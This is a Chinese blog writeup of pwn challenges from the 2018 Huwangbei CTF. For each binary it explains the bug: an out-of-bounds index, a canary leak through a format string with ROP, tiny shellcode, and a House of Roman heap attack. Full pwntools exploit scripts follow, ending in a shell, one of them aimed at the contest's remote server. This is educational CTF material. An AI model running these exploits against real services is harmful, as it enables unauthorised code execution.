盒子
盒子
文章目录
  1. 前言 :
  2. 正文 :
    1. gettingstart :
    2. shoppingcart :
      1. EXP :
    3. huwang :
      1. EXP :
    4. six :
      1. EXP :
    5. calendar :
      1. EXP :
  3. 总结 :

2018护网杯-pwn-writeup

前言 :

拖了有点久的东西,现在补上,上周末打了场护网杯,带着学弟们打,被虐的有点厉害。有一题我后来复现的时候才发现是一道之前在看雪上发现有人求助的一道题目,我当时还看了题解。。匆匆略过去了。。还没有好好看看程序的样子。有点可惜了呀。有八九百分呢。

正文 :

gettingstart :

好像比签到题做出来的人都多了。多的就不说了,把值给覆盖一下就行了,找-1在内存里的十六进制表示的话,去IDA里面找就行了,再不行就自己写一个程序看看。

1
payload = 'A'*0x18 + p64(0x7FFFFFFFFFFFFFFF) + p64(0x3fb999999999999a)

shoppingcart :

这题我是真佛了,我看了一早上。。我愣是没看出来哪里有漏洞,后来发现就一个数组越界漏洞的时候我的心情真的跟吃了屎一样难受。可坑死我了,而且堆部分的东西压根没有用,没有用你搞一个是什么意思啊。。我佛了,没意思啊。

漏洞出现在编辑商品的函数上:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned __int64 edit_good()
{
unsigned __int64 v0; // rax
__int64 v1; // ST00_8
char s; // [rsp+10h] [rbp-20h]
unsigned __int64 v4; // [rsp+28h] [rbp-8h]

v4 = __readfsqword(0x28u);
puts("Which goods you need to modify?");
fgets(&s, 24, stdin);
v0 = strtoul(&s, 0LL, 0);
printf("OK, what would you like to modify %s to?\n", *(_QWORD *)qword_2021E0[v0], v0);
*(_BYTE *)(*(_QWORD *)qword_2021E0[v1] + read(0, *(void **)qword_2021E0[v1], 8uLL)) = 0;
return __readfsqword(0x28u) ^ v4;
}

而且还会打印地址,可以泄漏地址。而且出题人考虑到加了PIE,还特地在0x202068存储了所在地址的十六进制。所以可以先泄漏此处的地址得到程序的基地址。然后再去修改此处为第一阶段存钱得到的堆地址处:

1
2
3
4
5
6
.bss:0000000000202140 unk_202140      db    ? ;               ; DATA XREF: sub_D81+B6↑o
.bss:0000000000202141 db ? ;
.bss:0000000000202142 db ? ;
.bss:0000000000202143 db ? ;
.bss:0000000000202144 db ? ;
.bss:0000000000202145 db ? ;

然后再去修改上面堆地址处的内容为strtoul函数的got表的地址,然后再次编辑可以泄漏出strtoul的地址,从而泄漏libc的地址,再次编辑为system函数的地址,就可以getshell了。又或者。

先将unk_202140处修改,也就是将:

1
2
.bss:00000000002020A0 byte_2020A0     db 0A0h dup(?)          ; DATA XREF: sub_D81+62↑o
.bss:00000000002020A0

处修改为unk_202140处,再修改byte_2020A0,也就是堆内容处为strtoulgot表地址,再编辑为system函数。

EXP :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *

p = process('./shoppingCart')
context.log_level = 'debug'
libc = ELF('libc.so')

def store_money() :
p.recvuntil('EMMmmm, you will be a rich man!\n')
p.sendline('1')
sleep(0.3)
p.send('AAAAAAA')

def quit_store_money() :
sleep(0.3)
p.sendline('3')

def create(size,name) :
sleep(0.3)
p.sendline('1')
sleep(0.3)
p.sendline(str(size))
sleep(0.3)
p.send(name)

def delete(index) :
p.recvuntil('Now, buy buy buy!\n')
p.sendline('2')
p.recvuntil('Which goods that you don\'t need?\n')
p.sendline(str(index))

store_money()
quit_store_money()

p.recvuntil('Now, buy buy buy!\n')
p.sendline('3')
p.recvuntil('Which goods you need to modify?\n')
index = (0x010000000000202068 - 0x2021e0)/8
p.sendline(str(index))
p.recvuntil('you like to modify ')
data = u64(p.recv(6).ljust(8,'\x00'))
base_elf = data - 0x202068
log.success('elf base_addr:'+hex(base_elf))
payload = p64(base_elf+0x202068)
p.send(payload)

p.recvuntil('Now, buy buy buy!\n')
p.sendline('3')
p.recvuntil('Which goods you need to modify?\n')
index = (0x010000000000202140 - 0x2021e0)/8
p.sendline(str(index))
p.recvuntil(' to?\n')
p.send(p64(base_elf+0x202140))

p.recvuntil('Now, buy buy buy!\n')
p.sendline('3')
p.recvuntil('Which goods you need to modify?\n')
index = (0x0100000000002020A0 - 0x2021e0)/8
p.sendline(str(index))
p.recvuntil(' to?\n')
p.send(p64(base_elf+0x202058))

p.recvuntil('Now, buy buy buy!\n')
p.sendline('3')
p.recvuntil('Which goods you need to modify?\n')
index = (0x010000000000202140 - 0x2021e0)/8
p.sendline(str(index))
p.recvuntil('you like to modify ')
data2 = u64(p.recv(6).ljust(8,'\x00'))
log.success('strtoul_got_addr:'+hex(data2))
libc_base = data2 - libc.symbols['strtoul']
system_addr = libc_base + libc.symbols['system']
p.send(p64(system_addr))

p.interactive()

huwang :

这题就更骚了,堆完全用不到,太骚了,那你特么的出个堆不累吗你。利用在666的md5加密轮数函数里面,叫你猜md5。

这里的函数:

1
2
HIDWORD(v2) = open("/tmp/secret", 513);
LODWORD(v2) = 0;

open函数还有第二、三个参数。来看看官方说法:

1
2
int open(constchar*pathname,intflags);
int open(constchar*pathname,intflags,mode_tmode);

第二个参数的flags用于指定文件的打开/创建模式,这个参数可由以下常量(定义于fcntl.h)通过逻辑位或逻辑构成。fcntl.h函数源代码

1
2
3
O_RDONLY只读模式
O_WRONLY只写模式
O_RDWR读写模式

打开/创建文件时,至少得使用上述三个常量中的一个。以下常量是选用的:

1
2
3
4
5
6
O_APPEND每次写操作都写入文件的末尾
O_CREAT如果指定文件不存在,则创建这个文件
O_EXCL如果要创建的文件已存在,则返回-1,并且修改errno的值
O_TRUNC如果文件存在,并且以只写/读写方式打开,则清空文件全部内容(即将其长度截短为0)
O_NOCTTY如果路径名指向终端设备,不要把这个设备用作控制终端。
O_NONBLOCK如果路径名指向FIFO/块文件/字符文件,则把文件的打开和后继I/O

看题目用了513的十进制数,转化为八进制就是:

1
HIDWORD(v2) = open("/tmp/secret", 01001);

看源代码:

1
2
#define O_WRONLY             01
#define O_TRUNC 01000 /* Not fcntl. */

就是这两者或之后得到的。而O_TRUNC是会清空文件全部内容的,所以说当运行一次程序的同时再运行第二次程序,那么第二次程序打开该文件的时候该文件就是空的,那么我们就能拿到空文件md5加密后的内容了。这里用加密-1轮就可以使程序运行很久。

1
2
3
4
5
>>> import md5
>>> a = md5.new()
>>> a.update('\x00'*16)
>>> print a.hexdigest()
4ae71336e44bf9bf79d2752e234818a5

之后进入的函数就很明显有栈溢出、格式化字符串的漏洞了。这里用格式化泄漏canary的值,不过这里的canary的值最低位是00,如果不覆盖的话是leak不了的,所以还要多覆盖一位,再减去0x41即可。后面用栈溢出leak出libc,重新执行程序,我写的是回到该函数的入口,但是这里如果直接返回首部会报错,因为有一些寄存器的值不对应,所以我们在此之前还需要还原某些寄存器的值。看一下入口处的汇编:

1
2
3
4
5
6
7
.text:000000000040101C ; __unwind {
.text:000000000040101C push rbp
.text:000000000040101D mov rbp, rsp
.text:0000000000401020 sub rsp, 230h
.text:0000000000401027 mov [rbp+var_228], rdi
.text:000000000040102E mov rax, fs:28h
.text:0000000000401037 mov [rbp+var_8], rax

这里看到有一个:

1
mov     [rbp+var_228], rdi

所以跟踪得到此时rdi的值是0x603030。所以在溢出时还原rdi的值就可以重新执行该函数了。

EXP :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *

context.log_level = 'debug'
libc = ELF('libc.so')
elf = ELF('huwang')

p = process('./huwang')

p.recvuntil('command>> \n')
p.sendline('666')
p.sendafter('please input your name','A'*0x19)
p.sendlineafter('Do you want to guess the secret?\n','y')
p.sendlineafter('encrypt the secret:\n','1')
payload = p64(0xbff94be43613e74a) + p64(0xa51848232e75d279)
p.sendafter('Try to guess the md5 of the secret\n',payload)
p.recvuntil('A'*0x18)
canary = u64(p.recv(8)) - 0x41
log.success('canary leak:'+hex(canary))

p.recvuntil('What`s your occupation?\n')
p.sendline('A'*0x60)

p.recvuntil('Do you want to edit you introduce by yourself[Y/N]\n')
p.sendline('Y')

sleep(0.3)
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
pop_rdi = 0x401573
payload2 = 'B'*0x108 + p64(canary) + 'A'*8 + p64(pop_rdi)
payload2 += p64(puts_got) + p64(puts_plt) + p64(pop_rdi) + p64(0x603030) + p64(0x40101C)
p.sendline(payload2)

p.recvuntil('BBBBBB\n')
data = u64(p.recv(6).ljust(8,'\x00'))
log.success('puts got addr:'+hex(data))
libc_base = data - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_addr = libc_base + libc.search('/bin/sh').next()
log.success('system addr:'+hex(system_addr))

p.recvuntil('What`s your occupation?\n')
p.sendline('A'*0x80)
p.recvuntil('Do you want to edit you introduce by yourself[Y/N]\n')
p.sendline('Y')
sleep(0.3)
payload3 = 'B'*0x108 + p64(canary) + 'A'*8 + p64(pop_rdi) + p64(bin_addr) + p64(system_addr)
p.sendline(payload3)

p.interactive()

six :

就是这道题。。我之前还在看雪上见过这题。。但是就只是看了一下题解,嫌麻烦就是没有看看程序内部。。难受啊。。我看了的话就有很多分了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsigned __int64 sub_9CA()
{
int fd; // ST04_4
__int64 buf; // [rsp+8h] [rbp-18h]
__int64 v3; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
fd = open("/dev/urandom", 0);
read(fd, &buf, 6uLL);
read(fd, &v3, 6uLL);
dest = mmap((void *)(v3 & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7, 34, -1, 0LL);
qword_202098 = (__int64)mmap((void *)(buf & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 3, 34, -1, 0LL) + 1280;
return __readfsqword(0x28u) ^ v4;
}

先mmap了两块内存存储在dest、qword_202098的bss段上。

这里的一个知识点:

mmap的地址是urandom来的,但是不满足mmap要求时,会随机分配这个地址,申请两块同样大小的mmap内存时,当随机分配时二者相邻,且用作栈的地址是低地址。

在看看后面:

1
2
3
4
5
6
7
8
9
10
puts("Show Ne0 your shellcode:");
read(0, &s, 6uLL);
sub_B05((__int64)&s);
v4 = strlen(src);
memcpy(dest, src, v4);
v5 = (char *)dest;
v6 = strlen(src);
memcpy(&v5[v6], &s, 7uLL);
v3(qword_202098, &s);
return 0LL;

输入六个字节的shellcode,且必须是三个奇数三个偶数,且每个字节都不同。

跟踪看看执行到输入的shellcode之前是怎样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0x7f010023f000    mov    rsp, rdi
0x7f010023f003 xor rbp, rbp
0x7f010023f006 xor rax, rax
0x7f010023f009 xor rbx, rbx
0x7f010023f00c xor rcx, rcx
0x7f010023f00f xor rdx, rdx
0x7f010023f012 xor rdi, rdi
0x7f010023f015 xor rsi, rsi
0x7f010023f018 xor r8, r8
0x7f010023f01b xor r9, r9
0x7f010023f01e xor r10, r10
0x7f010023f021 xor r11, r11
0x7f010023f024 xor r12, r12
0x7f010023f027 xor r13, r13
0x7f010023f02a xor r14, r14
0x7f010023f02d xor r15, r15

只有一个rsp的值,别的寄存器都被清空了。构造的shellcode只能有6个字节。由于寄存器都清零,这里我们想到可以使用0号系统调用read函数,由于上面说的有两块mmap内存连续的情况,所以可以从rsp开始写到rip处,继续构造shellcode。

这里可以构造6个字节的shellcode:

1
2
3
4
5
6
asm('''
push rsp
pop rsi
mov edx, esi
syscall
''')

伪造大小rdx时,rdx不能太大。所以用edx和esi。

EXP :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

p = process('./six')
context.log_level = 'debug'

p.recvuntil('Show Ne0 your shellcode:\n')
#payload = '''push rsp
# pop rsi
# mov edx,esi
# syscall
# '''
p.send('\x54\x5e\x8b\xd6\x0f\x05')

a=[0xB8, 0x3B, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xFE, 0x48, 0x81, 0xC7, 0x4e, 0x0B, 0x00, 0x00, 0x4b, 0x48,0x33, 0xD2, 0x48,0x33, 0xF6, 0x0F, 0x05, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x73, 0x68, 0x00]
l=''
for i in range(0,len(a)):
l+=chr(a[i])

p.sendline('A'*0xb36 + l)

p.interactive()

calendar :

这题关于House of Roman,以后再来补。

EXP :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
from pwn import *
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']

def add(p, index, size):
p.recvuntil('choice> ')
p.sendline('1')
p.recvuntil('choice> ')
p.sendline(str(index + 1))
p.recvuntil('size> ')
p.sendline(str(size))

def edit(p, index, size, data):
p.recvuntil('choice> ')
p.sendline('2')
p.recvuntil('choice> ')
p.sendline(str(index + 1))
p.recvuntil('size> ')
p.sendline(str(size))
p.recvuntil('info> ')
p.send(data)

def remove(p, index):
p.recvuntil('choice> ')
p.sendline('3')
p.recvuntil('choice> ')
p.sendline(str(index + 1))

def get_base(p):
with open('/proc/' + str(pidof(p)[0]) + '/maps') as f:
data = f.read()
with open('/proc/' + str(pidof(p)[0]) + '/environ') as f:
environ = f.read()
if 'LD_PRELOAD' not in environ:
libcPath = os.readlink('/')
else:
libcPath = 'libc.so.6'
libcBase = -1
if libcBase < 0:
for i in data.split('\n'):
if libcPath in i and 'r-xp' in i:
libcBase = int(i[ : i.index('-')], 16)
break
return libcBase

def GameStart(p):
# if debug == 1:
# p = process('./task_calendar', env = {'LD_PRELOAD' : './libc.so.6'})
# gdb.attach(p, '\nc')
# else:
# p = remote(ip, port)
p.recvuntil('e> ')
p.sendline('w1tcher')
libc_base = 0xb42000
# libc_base = get_base(p) & 0xfff000
log.info('libc base is : ' + hex(libc_base))
malloc_hook = 0x3c4b10
# one_gadget = 0x45216
# one_gadget = 0x4526a
# one_gadget = 0xf02a4
one_gadget = 0xf1147
add(p, 0, 0x68)
add(p, 0, 0x68)
add(p, 0, 0x18)
add(p, 1, 0x60)
add(p, 2, 0x60)
add(p, 2, 0x60)
edit(p, 0, 0x18, '\x00' * 0x18 + '\xe1')
remove(p, 1)
add(p, 0, 0x60)
add(p, 1, 0x60)
edit(p, 0, 2, p64(libc_base + malloc_hook - 0x23)[0 : 3])
remove(p, 1)
remove(p, 2)
edit(p, 2, 1, '\n')
add(p, 1, 0x60)
add(p, 0, 0x60)
add(p, 0, 0x60)
remove(p, 1)
edit(p, 1, 7, p64(0))
add(p, 1, 0x60)

add(p, 1, 0x60)
add(p, 1, 0x40)
edit(p, 1, 0x40 - 1, p64(0) * 6 + p64(0) + p64(0x71))
add(p, 1, 0x60)
edit(p, 1, 0x60 - 1, p64(0) * 8 + p64(0x50) + p64(0x20) + p64(0) + p64(0x71))
add(p, 2, 0x60)
add(p, 3, 0x60)
remove(p, 3)
remove(p, 2)
edit(p, 2, 1, '\n')
add(p, 2, 0x60)
add(p, 2, 0x60)
edit(p, 2, 0x10 - 1, p64(0) + p64(0xe1))
remove(p, 1)
edit(p, 2, 0x1b - 1, p64(0) + p64(0x51) + p64(0) + p64(libc_base + malloc_hook - 0x10)[0 : 3])
add(p, 3, 0x40)
edit(p, 0, 0x16 - 1, '\x00' * 0x13 + p64(libc_base + one_gadget)[0 : 3])
add(p, 3, 0x40)
p.sendline('cat flag')
p.sendline('cat flag')
p.sendline('cat flag')
p.interactive()

if __name__ == '__main__':
debug = 0
while True:
try:
if debug == 1:
p = process('./task_calendar', env = {'LD_PRELOAD' : './libc.so.6'})
# gdb.attach(p, '\nc')
else:
p = remote('117.78.40.144', 31274)
GameStart(p)
except Exception as e:
# raise e
p.close()

总结 :

还是得好好努力,差距还是有点大,加油。

支持一下
扫一扫,支持v1nke
  • 微信扫一扫
  • 支付宝扫一扫